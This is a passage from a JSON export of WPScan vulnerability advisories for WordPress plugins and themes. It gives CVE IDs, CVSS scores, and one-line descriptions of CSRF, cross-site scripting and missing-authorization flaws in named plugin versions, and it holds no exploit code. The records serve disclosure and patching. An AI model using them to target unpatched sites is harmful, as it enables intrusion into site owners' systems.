"NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47431"], "modified": "2023-03-23T14:53:52", "id": "WPVDB-ID:4F74BC64-E728-41E4-8C5C-5502CB5D7676", "href": "https://wpscan.com/vulnerability/4f74bc64-e728-41e4-8c5c-5502cb5d7676", "sourceData": "", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:23:44", "description": "The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "Intrepidity <= 1.5.1 - File Upload and Option Update via CSRF", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27634"], "modified": "2023-06-15T19:12:46", "id": "WPVDB-ID:E66EC9F6-1A4C-4AB6-AB9A-ED607631C3B0", "href": "https://wpscan.com/vulnerability/e66ec9f6-1a4c-4ab6-ab9a-ed607631c3b0", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-25T20:49:32", "description": "The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "Robo Gallery < 3.2.13 - Contributor+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27620"], "modified": "2023-04-10T12:19:41", "id": "WPVDB-ID:7F3B477F-1ED5-4BA8-B87E-53F4DE4EE457", "href": "https://wpscan.com/vulnerability/7f3b477f-1ed5-4ba8-b87e-53f4de4ee457", "sourceData": "", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-06-09T02:40:19", "description": "The plugin does not protect its wpbe_save_settings ajax actions against CSRF attacks, allowing an unauthenticated attacker to update the plugin settings by tricking a logged in admin to submit a crafted request.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "WP Basic Elements <= 5.2.15 - Cross-Site Request Forgery (CSRF)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47139"], "modified": "2023-05-29T11:44:39", "id": "WPVDB-ID:D7E36290-8959-4DCD-9DD1-09F23529E2D6", "href": "https://wpscan.com/vulnerability/d7e36290-8959-4dcd-9dd1-09f23529e2d6", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-29T14:57:06", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n", "cvss3": {}, "published": "2023-03-16T00:00:00", "type": "wpvulndb", "title": "SMTP2GO < 1.5.0 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-28496"], "modified": "2023-06-22T11:58:38", "id": "WPVDB-ID:680E1DE2-0268-4A4B-AF92-BD4F60C9E0E6", "href": "https://wpscan.com/vulnerability/680e1de2-0268-4a4b-af92-bd4f60c9e0e6", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-25T20:19:09", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "Yandex.News Feed by Teplitsa <= 1.12.5 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25052"], "modified": "2023-05-09T13:59:46", "id": "WPVDB-ID:754ECA9D-7F16-4C18-8776-3CD896466D5D", "href": "https://wpscan.com/vulnerability/754eca9d-7f16-4c18-8776-3cd896466d5d", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-05-15T20:32:57", "description": "The plugin does not check capabilities in some AJAX actions, allowing low-privileged users to perform privileged actions.\n", "cvss3": {}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "SEO by Squirrly SEO < 12.1.21 - Missing Authorization", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2022-44626"], "modified": "2023-05-08T18:43:26", "id": "WPVDB-ID:CCFB0AD0-E235-4C2A-A84B-B70E3D1A1EEB", "href": "https://wpscan.com/vulnerability/ccfb0ad0-e235-4c2a-a84b-b70e3d1a1eeb", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-29T20:15:29", "description": "The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin Note: This is very likely the same issue than https://wpscan.com/vulnerability/b9afd95b-a799-4086-a990-b9109a842d7d, however the original advisory does not have any details about which parameter is affected\n", "cvss3": {}, "published": "2023-03-16T00:00:00", "type": "wpvulndb", "title": "Mediciti Lite <= 1.3.0 - Reflected XSS", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-28418"], "modified": "2023-06-22T15:22:45", "id": "WPVDB-ID:ABD89573-B089-4B77-83F6-FCB40E97693B", "href": "https://wpscan.com/vulnerability/abd89573-b089-4b77-83f6-fcb40e97693b", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-25T20:29:59", "description": "The plugin does not validate and sanitize upload SVG files, which could allow users with an author role and above to perform Stored Cross-Site Scripting attacks\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "Embed Any Document < 2.7.2 - Author+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-23707"], "modified": "2023-03-24T09:20:22", "id": "WPVDB-ID:BAA069C8-B830-49BE-9662-41222FF8B6A6", "href": "https://wpscan.com/vulnerability/baa069c8-b830-49be-9662-41222ff8b6a6", "sourceData": "", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:34:59", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "Klaviyo < 3.0.8 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25456"], "modified": "2023-03-24T09:20:31", "id": "WPVDB-ID:A3B3E8BD-CC07-4558-AA39-78491447CE4C", "href": "https://wpscan.com/vulnerability/a3b3e8bd-cc07-4558-aa39-78491447ce4c", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:25:29", "description": "The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "Admin side data storage for Contact Form 7 <= 1.1.1 - Unauthenticated Reflected XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24420"], "modified": "2023-06-15T19:08:14", "id": "WPVDB-ID:2FADE97D-5652-468F-BED1-6CAC226077D5", "href": "https://wpscan.com/vulnerability/2fade97d-5652-468f-bed1-6cac226077d5", "sourceData": "", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T21:06:46", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-13T00:00:00", "type": "wpvulndb", "title": "CMS Press <= 0.2.3 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25452"], "modified": "2023-05-09T17:15:50", "id": "WPVDB-ID:CB38EE69-B505-48B5-AC0A-8C1707E9AF0D", "href": "https://wpscan.com/vulnerability/cb38ee69-b505-48b5-ac0a-8c1707e9af0d", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-25T20:58:25", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "WP Simple Events <= 1.0 - Admin+ Cross Site Scripting", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24376"], "modified": "2023-05-09T17:33:11", "id": "WPVDB-ID:BC8ABE42-45B1-4846-A225-841B9B1ADCA3", "href": "https://wpscan.com/vulnerability/bc8abe42-45b1-4846-a225-841b9b1adca3", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-07T15:19:30", "description": "The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "WP-Advanced-Search <= 3.3.8 - Settings Update via CSRF", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47447"], "modified": "2023-05-24T18:30:16", "id": "WPVDB-ID:13C5DCF2-0BAD-4C20-AE6D-52279EEB0CC8", "href": "https://wpscan.com/vulnerability/13c5dcf2-0bad-4c20-ae6d-52279eeb0cc8", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-10T08:37:26", "description": "The plugin does not have authorisation in the wp_email_capture_options_process function, hooked to admin_init, allowing unauthenticated users to download Email Captures and retrieve email addresses \n", "cvss3": {}, "published": "2023-03-15T00:00:00", "type": "wpvulndb", "title": "WP Email Capture < 3.11 - Unauthenticated Email Capture Download", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-28421"], "modified": "2023-05-03T07:22:00", "id": "WPVDB-ID:B3FC173D-51E9-4BE2-9D14-A71F1CB200B1", "href": "https://wpscan.com/vulnerability/b3fc173d-51e9-4be2-9d14-a71f1cb200b1", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-09T02:20:49", "description": "The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "Chronoforms <= 7.0.9 - CSRF", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47135"], "modified": "2023-05-25T18:54:16", "id": "WPVDB-ID:8996B44E-F9D5-4B9C-8FB8-2B5327BF02B2", "href": "https://wpscan.com/vulnerability/8996b44e-f9d5-4b9c-8fb8-2b5327bf02b2", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-09T02:51:10", "description": "The plugin does not protect some of its actions against CSRF attacks, allowing an attacker to perform actions on their behalf by tricking a logged in user to submit a crafted request.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "LOGIN AND REGISTRATION ATTEMPTS LIMIT <= 2.1 - Cross-Site Request Forgery (CSRF)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47138"], "modified": "2023-05-29T12:00:39", "id": "WPVDB-ID:7E5A0BEC-5A7B-471D-9718-6AF3FFD8F694", "href": "https://wpscan.com/vulnerability/7e5a0bec-5a7b-471d-9718-6af3ffd8f694", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-03T20:35:10", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-15T00:00:00", "type": "wpvulndb", "title": "PB SEO Friendly Images <= 4.0.5 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47434"], "modified": "2023-05-05T11:43:34", "id": "WPVDB-ID:C10DBD17-0424-46EC-9FE5-08C901D0F81B", "href": "https://wpscan.com/vulnerability/c10dbd17-0424-46ec-9fe5-08c901d0f81b", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}}, {"lastseen": "2023-06-07T20:05:58", "description": "The plugin does not protect its uninstall_reason_submission action against CSRF attacks, allowing an unauthenticated attacker to trick a logged in admin to submit a deactivate reason by submitting a crafted request.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-03-16T00:00:00", "type": "wpvulndb", "title": "Event Manager for WooCommerce < 3.7.8 - Cross-Site Request Forgery (CSRF)", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47164"], "modified": "2023-05-29T11:33:45", "id": "WPVDB-ID:29DDCFE9-1262-4CAD-82C3-58DAC5C16A2C", "href": "https://wpscan.com/vulnerability/29ddcfe9-1262-4cad-82c3-58dac5c16a2c", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T14:53:48", "description": "The plugin does not sanitize and escape the \"page\" and \"tab\" URL parameters, leading to a Reflected Cross-Site Scripting vulnerability.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-17T00:00:00", "type": "wpvulndb", "title": "SEO by Squirrly SEO < 12.1.21 - Reflected Cross-Site Scripting", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-45065"], "modified": "2023-05-08T18:44:04", "id": "WPVDB-ID:104CB437-D1EF-4296-8BCC-448F45A4F365", "href": "https://wpscan.com/vulnerability/104cb437-d1ef-4296-8bcc-448f45a4f365", "sourceData": "", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-06-29T15:11:08", "description": "The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n", "cvss3": {}, "published": "2023-03-14T00:00:00", "type": "wpvulndb", "title": "Modern Footnotes < 1.4.16 - Admin+ Stored XSS", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2023-28423"], "modified": "2023-06-22T11:59:11", "id": "WPVDB-ID:C87E25C8-E6CD-4690-AA45-576DA09707AE", "href": "https://wpscan.com/vulnerability/c87e25c8-e6cd-4690-aa45-576da09707ae", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-07-24T02:07:58", "description": "The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": 